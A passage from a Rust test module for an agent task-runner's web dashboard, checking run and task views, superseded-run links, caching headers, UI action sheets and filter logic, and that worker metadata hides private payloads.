23257 "the detached chat turn is not awaited or cancelled"
23258 );
23259 assert!(
23260 ui.begin_admission().is_err(),
23261 "old accepted connections stay closed"
23262 );
23263 drop(turn);
23264 }
23265
23266 #[test]
23267 fn health_worker_metadata_never_contains_payload_or_result() {
23268 let view = WorkerView::from(crate::worker::Job {
23269 id: "job".into(),
23270 sequence: 1,
23271 kind: "service".into(),
23272 key: "maintenance".into(),
23273 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23274 generation: "generation".into(),
23275 version: Some("1.2.3".into()),
23276 status: crate::worker::Status::Running,
23277 result: Some("private diagnostics".into()),
23278 pid: Some(4242),
23279 created_at: 1,
23280 finished_at: None,
23281 });
23282 let value = serde_json::to_value(view).expect("serialize public metadata");
23283 assert_eq!(value["version"], "1.2.3");
23284 assert_eq!(value["pid"], 4242);
23285 assert!(value.get("payload").is_none());
23286 assert!(value.get("result").is_none());
23287 assert!(!value.to_string().contains("private"));
23288 }
23289
23290 #[test]
23291 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23292 let home = TempDir::new().expect("temp home");
23293 let ui = idle_ui(&home);
23294 std::fs::write(
23295 home.path().join("daemon.json"),
23296 serde_json::json!({
23297 "schema": 2, "pid": 4242, "worker_protocol": 1,
23298 "updated_at": Timestamp::now().to_string(), "idle": true,
23299 })
23300 .to_string(),
23301 )
23302 .expect("status");
23303 let reading = daemon::read_status(home.path());
23304 assert!(Foreign::of(reading.as_ref()).is_none());
23305 let view = ui.runtime_loop_view(reading, &[]);
23306 assert!(view.running);
23307 assert!(view.owned);
23308 }
23309
23310 #[test]
23311 fn only_an_explicit_one_requests_a_resume() {
23312 assert!(!resume_requested(None));
23313 assert!(!resume_requested(Some("0".into())));
23314 assert!(!resume_requested(Some("".into())));
23315 assert!(resume_requested(Some("1".into())));
23316 }
23317
23318 #[test]
23319 fn an_error_is_visible_from_where_the_button_is() {
23320 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23325 ..APP_CSS.find(".alert-text").expect(".alert-text")];
23326 assert!(
23327 alert.contains("position: fixed"),
23328 "an error about the thing under your thumb has to be visible from \
23329 where your thumb is: {alert}"
23330 );
23331 assert!(
23332 alert.contains("z-index: 25"),
23333 "above the dock (20) and the run-actions FAB (15), so neither \
23334 buries it: {alert}"
23335 );
23336 assert!(
23337 alert.contains("var(--tap)"),
23338 "and clear of the dock and the home indicator: {alert}"
23339 );
23340 assert!(
23343 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23344 "the FAB's column stays free: {alert}"
23345 );
23346 }
23347
23348 #[tokio::test]
23349 async fn an_older_attempt_says_what_replaced_it() {
23350 let fx = Fixture::start().await;
23351 let q = fx.queue();
23352 let runs = fx.runs();
23353 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23354 write_run(&runs, first, RunStatus::Stalled);
23355 write_run(&runs, second, RunStatus::Blocked);
23356
23357 let mut t = Task::new(
23358 "one task".to_owned(),
23359 "do it".to_owned(),
23360 PathBuf::from("/repo"),
23361 Source::Human,
23362 );
23363 t.runs = vec![first.to_owned(), second.to_owned()];
23364 q.put(&mut t).expect("put");
23365
23366 let rows = fx.get("/api/runs").await.json();
23370 let by = |short: &str| -> Value {
23371 rows.as_array()
23372 .unwrap()
23373 .iter()
23374 .find(|r| r["short"] == short)
23375 .cloned()
23376 .unwrap_or(Value::Null)
23377 };
23378 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23379 assert!(
23380 by("bbbb")["superseded_by"].is_null(),
23381 "the latest attempt is not superseded by anything"
23382 );
23383 assert!(APP_JS.contains("run.superseded_by"));
23385 assert!(APP_JS.contains("Superseded by"));
23386 }
23387
23388 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23389 let mut t = Task::new(
23390 "one task".to_owned(),
23391 "do it".to_owned(),
23392 PathBuf::from("/repo"),
23393 Source::Human,
23394 );
23395 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23396 t.status = status;
23397 t
23398 }
23399
23400 #[test]
23401 fn source_link_picks_the_page_that_filed_the_task() {
23402 let agent = |node: &str| Source::Agent {
23403 run: "20260904-014455-ab12".to_owned(),
23404 node: node.to_owned(),
23405 };
23406 let chat = source_link(&agent("chat")).expect("chat link");
23407 assert_eq!(chat.kind, "chat");
23408 assert_eq!(chat.id, "20260904-014455-ab12");
23409 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23410 let run = source_link(&agent("implement")).expect("run link");
23411 assert_eq!(
23412 (run.kind, run.href.as_str()),
23413 ("run", "#/runs/20260904-014455-ab12")
23414 );
23415 assert_eq!(source_link(&Source::Human), None);
23416 assert_eq!(
23417 source_link(&Source::Issue {
23418 number: 3,
23419 repo: "o/r".to_owned()
23420 }),
23421 None
23422 );
23423 let odd = source_link(&Source::Agent {
23424 run: "a b/c".to_owned(),
23425 node: "chat".to_owned(),
23426 })
23427 .expect("link");
23428 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23429 }
23430
23431 #[test]
23432 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23433 assert!(
23434 !APP_JS.contains("src.node === \"chat\""),
23435 "inline href rule is back"
23436 );
23437 assert!(
23438 APP_JS.matches("sourceLinkOf(").count() >= 4,
23439 "helper must serve every page"
23440 );
23441 assert!(
23442 APP_JS.matches("openChatLink(").count() >= 3,
23443 "the run page still needs its explicit chat link"
23444 );
23445 assert!(
23446 !APP_JS.contains("const openChat = el("),
23447 "the Queue card duplicates its source label link again"
23448 );
23449 assert!(
23450 APP_JS.contains("metaKids.push(link ? el(\"a\""),
23451 "the task page must link a chat source label too"
23452 );
23453 }
23454
23455 #[test]
23456 fn task_ref_carries_the_source_link_for_a_chat_task() {
23457 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23458 t.source = Source::Agent {
23459 run: "20260904-014455-ab12".to_owned(),
23460 node: "chat".to_owned(),
23461 };
23462 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23463 let v = serde_json::to_value(&out).expect("json");
23464 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23465 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23466 assert_eq!(v["source_label"], t.source.label());
23467
23468 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23469 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23470 .expect("json");
23471 assert!(v["source_link"].is_null(), "{v}");
23472 }
23473
23474 #[test]
23475 fn task_view_serializes_source_link() {
23476 let mut t = Task::new(
23477 "t".to_owned(),
23478 "t".to_owned(),
23479 PathBuf::from("/repo"),
23480 Source::Agent {
23481 run: "20260901-000000-aaaa".to_owned(),
23482 node: "implement".to_owned(),
23483 },
23484 );
23485 t.runs.clear();
23486 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23487 assert_eq!(v["source_link"]["kind"], "run", "{v}");
23488 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23489 }
23490
23491 #[test]
23492 fn task_view_serializes_urgent_flag() {
23493 let mut t = Task::new(
23494 "t".to_owned(),
23495 "t".to_owned(),
23496 PathBuf::from("/repo"),
23497 Source::Human,
23498 );
23499 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23500 assert_eq!(v["urgent"], false, "{v}");
23501 t.urgent = true;
23502 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23503 assert_eq!(v["urgent"], true, "{v}");
23504 assert!(APP_JS.contains("task.urgent === true"));
23505 }
23506
23507 #[tokio::test]
23508 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23509 let fx = Fixture::start().await;
23510 let runs = fx.runs();
23511 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23512 write_run(&runs, old, RunStatus::Blocked);
23513 write_run(&runs, new, RunStatus::Merged);
23514 let mut t = outcome_task(&[old, new], TaskStatus::Done);
23515 fx.queue().put(&mut t).expect("put");
23516
23517 let view = fx.get(&format!("/api/runs/{old}")).await.json();
23518 let task = &view["task"];
23519 assert_eq!(task["status"], "done");
23520 assert_eq!(task["is_latest"], false);
23521 assert_eq!(task["latest"]["short"], "bbbb");
23522 assert_eq!(task["finished_by"]["id"], new);
23523 assert_eq!(task["finished_by"]["outcome"], "merged");
23524 assert_eq!(task["closed_by_hand"], false);
23525 assert_eq!(view["status"], "blocked", "the run keeps its own status");
23526 assert!(APP_JS.contains("finished_by"));
23527 assert!(APP_JS.contains("superseded by run"));
23528 }
23529
23530 #[tokio::test]
23531 async fn the_latest_run_reports_a_held_task_without_a_successor() {
23532 let fx = Fixture::start().await;
23533 let runs = fx.runs();
23534 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23535 write_run(&runs, old, RunStatus::Stalled);
23536 write_run(&runs, new, RunStatus::Blocked);
23537 let mut t = outcome_task(&[old, new], TaskStatus::Held);
23538 fx.queue().put(&mut t).expect("put");
23539
23540 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23541 assert_eq!(task["status"], "held");
23542 assert_eq!(task["is_latest"], true);
23543 assert!(task["latest"].is_null());
23544 assert!(task["finished_by"].is_null());
23545 assert_eq!(task["closed_by_hand"], false);
23546 }
23547
23548 #[tokio::test]
23549 async fn a_direct_run_has_no_task_outcome() {
23550 let fx = Fixture::start().await;
23551 let runs = fx.runs();
23552 let id = "20260901-000000-aaaa";
23553 write_run(&runs, id, RunStatus::Blocked);
23554 let view = fx.get(&format!("/api/runs/{id}")).await.json();
23555 assert!(view["task"].is_null());
23556 }
23557
23558 #[test]
23559 fn task_outcome_does_not_guess_a_finishing_run() {
23560 let a = "20260901-000000-aaaa";
23561 let b = "20260901-000000-bbbb";
23562 let c = "20260901-000000-cccc";
23563 let dir = tempfile::tempdir().expect("tempdir");
23564 write_run(dir.path(), a, RunStatus::Blocked);
23565 write_run(dir.path(), b, RunStatus::VerifiedNoop);
23566 let read = |id: &str| read_run(dir.path(), id).ok();
23568 let t = outcome_task(&[a, b, c], TaskStatus::Done);
23571 let out = task_outcome(&t, a, 3, read);
23572 assert!(out.finished_by.is_none());
23573 assert!(out.closed_by_hand);
23574 let latest = out.latest.expect("latest");
23575 assert_eq!(latest.id, c);
23576 assert_eq!(latest.status, None);
23577 assert_eq!(latest.outcome, "record unreadable");
23578
23579 write_run(dir.path(), c, RunStatus::Ready);
23581 let t = outcome_task(&[a, c], TaskStatus::Done);
23582 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23583 assert_eq!(out.finished_by.expect("finisher").id, c);
23584 assert!(!out.closed_by_hand);
23585
23586 let t = outcome_task(&[a, b, a], TaskStatus::Held);
23588 assert!(task_outcome(&t, a, 3, read).is_latest);
23589 }
23590
23591 #[tokio::test]
23592 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23593 let fx = Fixture::start().await;
23598 let q = fx.queue();
23599 let runs = fx.runs();
23600 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23601 write_run(&runs, first, RunStatus::Blocked);
23602 write_run(&runs, second, RunStatus::Merged);
23603
23604 let mut t = Task::new(
23605 "one task".to_owned(),
23606 "do it".to_owned(),
23607 PathBuf::from("/repo"),
23608 Source::Human,
23609 );
23610 t.runs = vec![first.to_owned(), second.to_owned()];
23611 q.put(&mut t).expect("put");
23612
23613 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23614 assert_eq!(earlier["superseded_by"], "dddd");
23615 assert_eq!(earlier["latest_attempt"]["id"], second);
23616 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23617 assert_eq!(
23618 earlier["latest_attempt"]["resolved"], true,
23619 "the run that replaced it landed, so this one reads as settled"
23620 );
23621
23622 let later = fx.get(&format!("/api/runs/{second}")).await.json();
23623 assert!(
23624 later["superseded_by"].is_null(),
23625 "the latest attempt is not superseded by anything"
23626 );
23627 assert!(
23628 later["latest_attempt"].is_null(),
23629 "the latest attempt has no later attempt of its own"
23630 );
23631
23632 assert!(APP_JS.contains("run.latest_attempt"));
23639 assert!(APP_JS.contains("data-superseded"));
23640 assert!(APP_JS.contains("#/runs/${latest.id}"));
23641 }
23642
23643 #[tokio::test]
23644 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23645 let fx = Fixture::start().await;
23651 let q = fx.queue();
23652 let runs = fx.runs();
23653 let (a, b, c) = (
23654 "20260901-000000-aaaa",
23655 "20260901-000000-bbbb",
23656 "20260901-000000-cccc",
23657 );
23658 write_run(&runs, a, RunStatus::Blocked);
23659 write_run(&runs, b, RunStatus::Blocked);
23660 write_run(&runs, c, RunStatus::Merged);
23661
23662 let mut t = Task::new(
23663 "retried twice".to_owned(),
23664 "do it".to_owned(),
23665 PathBuf::from("/repo"),
23666 Source::Human,
23667 );
23668 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23669 q.put(&mut t).expect("put");
23670
23671 let view = fx.get(&format!("/api/runs/{a}")).await.json();
23672 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23673 assert_eq!(
23674 view["latest_attempt"]["id"], c,
23675 "the chain's current head, not the intermediate Blocked retry"
23676 );
23677 assert_eq!(view["latest_attempt"]["resolved"], true);
23678
23679 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23680 assert_eq!(mid["latest_attempt"]["id"], c);
23681 assert_eq!(mid["latest_attempt"]["resolved"], true);
23682 }
23683
23684 #[tokio::test]
23685 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23686 let fx = Fixture::start().await;
23687 let q = fx.queue();
23688 let runs = fx.runs();
23689
23690 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23693 write_run(&runs, still_blocked_a, RunStatus::Blocked);
23694 write_run(&runs, still_blocked_b, RunStatus::Blocked);
23695 let mut t1 = Task::new(
23696 "still stuck".to_owned(),
23697 "do it".to_owned(),
23698 PathBuf::from("/repo"),
23699 Source::Human,
23700 );
23701 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23702 q.put(&mut t1).expect("put");
23703 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23704 assert_eq!(view1["latest_attempt"]["resolved"], false);
23705 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23706 assert_eq!(view1["latest_attempt"]["done"], true);
23707
23708 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23710 write_run(&runs, run_a, RunStatus::Blocked);
23711 write_run(&runs, run_b, RunStatus::Implementing);
23712 let mut t3 = Task::new(
23713 "retrying".to_owned(),
23714 "do it".to_owned(),
23715 PathBuf::from("/repo"),
23716 Source::Human,
23717 );
23718 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23719 q.put(&mut t3).expect("put");
23720 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23721 assert_eq!(view3["latest_attempt"]["id"], run_b);
23722 assert_eq!(view3["latest_attempt"]["resolved"], false);
23723 assert_eq!(view3["latest_attempt"]["done"], false);
23724
23725 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23730 write_run(&runs, noop_a, RunStatus::Blocked);
23731 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23732 let mut t2 = Task::new(
23733 "claims done".to_owned(),
23734 "do it".to_owned(),
23735 PathBuf::from("/repo"),
23736 Source::Human,
23737 );
23738 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23739 q.put(&mut t2).expect("put");
23740 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23741 assert_eq!(
23742 view2["latest_attempt"]["resolved"], false,
23743 "an unverified no-op claim must not read as a confirmed finish"
23744 );
23745
23746 assert!(APP_JS.contains("latest.resolved"));
23749 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23752 assert!(APP_JS.contains("Latest attempt: "));
23753 assert!(APP_JS.contains("in flight"));
23754 assert!(APP_JS.contains("not resolved"));
23755 }
23756
23757 #[tokio::test]
23758 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23759 let fx = Fixture::start().await;
23760 let js = fx.get("/app.js").await;
23766 assert_eq!(js.status, 200);
23767 let tag = js
23768 .header("etag")
23769 .expect("an etag to revalidate against")
23770 .to_owned();
23771 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23772 assert_eq!(
23773 js.header("cache-control"),
23774 Some("no-cache, must-revalidate"),
23775 "the phone has to ask every time"
23776 );
23777
23778 let again = fx
23781 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23782 .await;
23783 assert_eq!(
23784 again.status, 304,
23785 "a deck it already has costs one round trip"
23786 );
23787 assert!(again.body.is_empty(), "304 carries no body");
23788
23789 let weak = fx
23792 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23793 .await;
23794 assert_eq!(weak.status, 304);
23795 let stale = fx
23796 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23797 .await;
23798 assert_eq!(stale.status, 200, "an older build must be replaced");
23799 assert!(stale.body.contains("renderRunActions"));
23800 }
23801
23802 #[test]
23803 fn the_task_detail_has_an_actions_fab_and_sheet() {
23804 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23805 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23806 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23807 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23809 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23810 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23812 assert!(APP_JS.contains("renderTaskActions(null);"));
23813 let sheet = APP_JS
23815 .find("function renderTaskActions")
23816 .expect("sheet renderer");
23817 let body = &APP_JS[sheet..sheet + 3000];
23818 assert!(body.contains("changePriority("));
23819 assert!(body.contains("openTaskEdit(task)"));
23820 assert!(body.contains("renderTaskHoldBox(host"));
23821 assert!(body.contains("renderTaskDoneBox(host"));
23822 assert!(body.contains("renderTaskDeleteBox(host"));
23823 assert!(APP_JS.contains("API.priority(id)"));
23824 assert!(APP_JS.contains("API.deleteTask(id)"));
23825 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23827 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23829 }
23830
23831 #[test]
23832 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23833 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23834 let actions = INDEX_HTML
23835 .find("id=\"run-actions-box\"")
23836 .expect("actions box");
23837 assert!(task < actions, "the task entry comes first in the sheet");
23838 assert!(APP_JS.contains("renderRunTaskEntry"));
23839 assert!(APP_JS.contains("\"Open task \""));
23840 assert!(APP_JS.contains("started directly, no task"));
23842 assert!(APP_JS.contains("sheet-task-link"));
23843 assert!(APP_JS.contains("task-chip-link"));
23844 }
23845
23846 #[test]
23847 fn the_deck_never_sends_the_operator_to_a_terminal() {
23848 assert!(
23851 !APP_JS.contains("Run `magi fold` first"),
23852 "the deck must offer the fold, not prescribe a shell command"
23853 );
23854 assert!(APP_JS.contains("foldRun:"));
23855 assert!(APP_JS.contains("resumeRun:"));
23856 assert!(APP_JS.contains("renderRunActions"));
23857
23858 assert!(APP_JS.contains("armedFold"));
23860 assert!(APP_JS.contains("Yes, fold worktrees"));
23861
23862 assert!(APP_JS.contains("can no longer be resumed"));
23865 }
23866
23867 #[test]
23868 fn a_finished_run_explains_itself_with_its_own_last_line() {
23869 assert!(
23875 !APP_JS.contains("collapsed on agent quota"),
23876 "a stall must not be explained by a cause the deck did not check"
23877 );
23878 assert!(
23879 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23880 "and a block must not offer a guess with an `or` in it"
23881 );
23882
23883 assert!(
23887 APP_JS.contains("setText(r.event, run.event || \"\")"),
23888 "the run's last line is rendered unconditionally"
23889 );
23890 assert!(
23891 !APP_JS.contains("moving && run.event"),
23892 "and never gated on the run still moving"
23893 );
23894
23895 assert!(APP_JS.contains("lost to quota"));
23897 }
23898
23899 #[test]
23921 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23922 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23923 let shapes_body_start =
23924 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23925 let shapes_close = APP_JS[shapes_body_start..]
23926 .find("].map(")
23927 .expect("the shape list is closed by its done-computing .map(...)")
23928 + shapes_body_start;
23929 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23930
23931 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23932 for entry in shapes_src.split('{').skip(1) {
23933 let waiting = entry.contains("waiting: true");
23934 let dead = entry.contains("live: \"dead\"");
23935 let status_at =
23936 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23937 let status_end = entry[status_at..]
23938 .find('"')
23939 .expect("the status string is closed")
23940 + status_at;
23941 let parked = entry.contains("display_status: \"parked\"");
23942 shapes.push((
23943 waiting,
23944 entry[status_at..status_end].to_string(),
23945 dead,
23946 parked,
23947 ));
23948 }
23949 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23950
23951 let done_rule_marker = "done: !";
23955 let done_rule_at = APP_JS[shapes_close..]
23956 .find(done_rule_marker)
23957 .expect("the done rule follows the shape list")
23958 + shapes_close
23959 + done_rule_marker.len();
23960 let includes_at = APP_JS[done_rule_at..]
23961 .find(".includes(shape.status)")
23962 .expect("the done rule ends in .includes(shape.status)")
23963 + done_rule_at;
23964 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23965 .trim()
23966 .trim_start_matches('[')
23967 .trim_end_matches(']')
23968 .split(',')
23969 .map(|s| s.trim().trim_matches('"'))
23970 .filter(|s| !s.is_empty())
23971 .collect();
23972
23973 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23974 .into_iter()
23975 .map(|(waiting, status, dead, parked)| {
23976 let done = !not_done.contains(&status.as_str());
23977 (waiting, status, dead, parked, done)
23978 })
23979 .collect();
23980
23981 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23985 if waiting {
23986 return "waiting";
23987 }
23988 if dead
23989 && !parked
23990 && !matches!(
23991 status,
23992 "merged"
23993 | "ready"
23994 | "stalled"
23995 | "blocked"
23996 | "failed"
23997 | "verified_noop"
23998 | "superseded"
23999 | "already_in_base"
24000 )
24001 {
24002 return "stale";
24003 }
24004 match status {
24005 "merged" | "ready" => "landed",
24006 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24007 | "already_in_base" => "ended",
24008 _ => "flight",
24009 }
24010 }
24011
24012 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24015 match filter_key {
24016 "active" => !done,
24017 "flight" => !done && !waiting && !dead,
24018 "stale" => !done && !waiting && dead,
24019 "waiting" => waiting,
24020 "done" => done,
24021 "all" => true,
24022 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24023 }
24024 }
24025
24026 let compatible = |section: &str, filter_key: &str| {
24027 shapes.iter().any(|(waiting, status, dead, parked, done)| {
24028 run_section(*waiting, status, *dead, *parked) == section
24029 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24030 })
24031 };
24032
24033 let expected = [
24038 ("waiting", [true, false, false, true, true, true]),
24039 ("stale", [true, false, true, false, false, true]),
24040 ("flight", [true, true, false, false, false, true]),
24041 ("landed", [false, false, false, false, true, true]),
24042 ("ended", [false, false, false, false, true, true]),
24043 ];
24044 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24045
24046 for (section, wants) in expected {
24047 for (filter_key, want) in filter_keys.iter().zip(wants) {
24048 assert_eq!(
24049 compatible(section, filter_key),
24050 want,
24051 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24052 );
24053 }
24054 }
24055
24056 assert!(
24059 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24060 );
24061 assert!(APP_JS.contains(
24062 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24063 ));
24064 assert!(APP_JS.contains(
24065 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24066 ));
24067 }
24068
24069 #[tokio::test]
24070 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24071 let dir = tempfile::tempdir().expect("tempdir");
24075 let explicit = dir.path().join("not-a-checkout");
24076 std::fs::create_dir_all(&explicit).expect("create dir");
24077 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24078
24079 let missing = dir.path().join("does-not-exist-at-all");
24080 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24081 }
24082
24083 #[test]
24084 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24085 assert!(APP_JS.contains("function statsDonutArcs"));
24086 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24087 assert!(APP_JS.contains("function statusInBucket"));
24089 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24090 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24091 let buckets = [
24092 "merged",
24093 "ready",
24094 "in_progress",
24095 "blocked",
24096 "failed",
24097 "verified_noop",
24098 "superseded",
24099 "stalled",
24100 ];
24101 for key in buckets {
24102 let var = format!("--verdict-{key}:");
24103 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24105 assert!(
24106 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24107 "{key}"
24108 );
24109 }
24110 }
24111
24112 #[tokio::test]
24113 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24114 let dir = tempfile::tempdir().expect("tempdir");
24115 let queue = Queue::at(dir.path().join("queue"));
24116 let talks = Talks::at(dir.path().join("talks"));
24117 std::fs::create_dir_all(queue.root()).unwrap();
24118 std::fs::create_dir_all(talks.root()).unwrap();
24119
24120 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24122 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24123
24124 let mut task = Task::new(
24126 "title".into(),
24127 "inst".into(),
24128 PathBuf::from("/repo"),
24129 Source::Human,
24130 );
24131 task.id = "20261019-123456-abcd".into();
24132 std::fs::write(
24134 queue.path_of(&task.id),
24135 serde_json::to_string(&task).unwrap(),
24136 )
24137 .unwrap();
24138
24139 let talk_id = "20261019-234567-cdef";
24140 seed_talk_at(&talks, talk_id, "open");
24141
24142 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24144 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24145
24146 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24148 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24149 }
24150
24151 #[tokio::test]
24152 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24153 let home = tempfile::tempdir().unwrap();
24154 let ui = delta_test_ui(home.path());
24155 std::fs::write(ui.queue.root(), "not a directory").unwrap();
24157 std::fs::write(ui.talks.root(), "not a directory").unwrap();
24158 assert!(
24159 questions_list(State(ui.clone()))
24160 .await
24161 .unwrap()
24162 .0
24163 .is_empty()
24164 );
24165 assert!(
24166 question_origins(State(ui.clone()))
24167 .await
24168 .unwrap()
24169 .0
24170 .is_empty()
24171 );
24172 let mut question = Question::new(
24173 "run-history".into(),
24174 "review".into(),
24175 "seat".into(),
24176 "Useful question".into(),
24177 "Useful detail".into(),
24178 vec![],
24179 );
24180 ui.questions.put(&mut question).unwrap();
24181 let core = questions_core(State(ui.clone())).await.unwrap().0;
24182 assert_eq!(core.len(), 1);
24183 assert_eq!(core[0].question.summary, "Useful question");
24184 assert!(!core[0].can_consult_chat);
24185 assert!(core[0].origin_chat.is_none());
24186 assert_eq!(core[0].record_revision, question_record_revision(&question));
24187 assert!(question_origins(State(ui.clone())).await.is_err());
24188 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24189 }
24190
24191 #[tokio::test]
24192 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24193 let home = tempfile::tempdir().unwrap();
24194 let ui = delta_test_ui(home.path());
24195 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24196 let mut parent = Task::new(
24197 "parent".into(),
24198 "body".into(),
24199 PathBuf::from("/repo"),
24200 Source::Agent {
24201 run: chat.clone(),
24202 node: crate::queue::CHAT_NODE.into(),
24203 },
24204 );
24205 parent.id = "parent-task".into();
24206 parent.runs = vec!["parent-run".into()];
24207 ui.queue.put(&mut parent).unwrap();
24208 let mut previous = parent;
24209 for generation in 1..=2 {
24210 let mut child = Task::new(
24211 "child".into(),
24212 "body".into(),
24213 PathBuf::from("/repo"),
24214 Source::Human,
24215 );
24216 child.id = format!("child-task-{generation}");
24217 child.runs = vec![format!("child-run-{generation}")];
24218 child.followup = Some(crate::queue::FollowUp {
24219 origin_task: Some(previous.id.clone()),
24220 run: previous.runs[0].clone(),
24221 pr: String::new(),
24222 findings: vec![],
24223 generation,
24224 });
24225 ui.queue.put(&mut child).unwrap();
24226 previous = child;
24227 }
24228 let mut collision = Task::new(
24231 "collision".into(),
24232 String::new(),
24233 PathBuf::from("/repo"),
24234 Source::Human,
24235 );
24236 collision.id = "collision-task".into();
24237 collision.runs = vec![previous.id.clone()];
24238 ui.queue.put(&mut collision).unwrap();
24239 let mut questions = Vec::new();
24240 for (node, reference, expected, eligible) in [
24241 (crate::triage::NODE, previous.id.as_str(), true, false),
24242 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24243 ("review", previous.runs[0].as_str(), true, true),
24244 (
24245 crate::bump::NOTICE_NODE,
24246 previous.runs[0].as_str(),
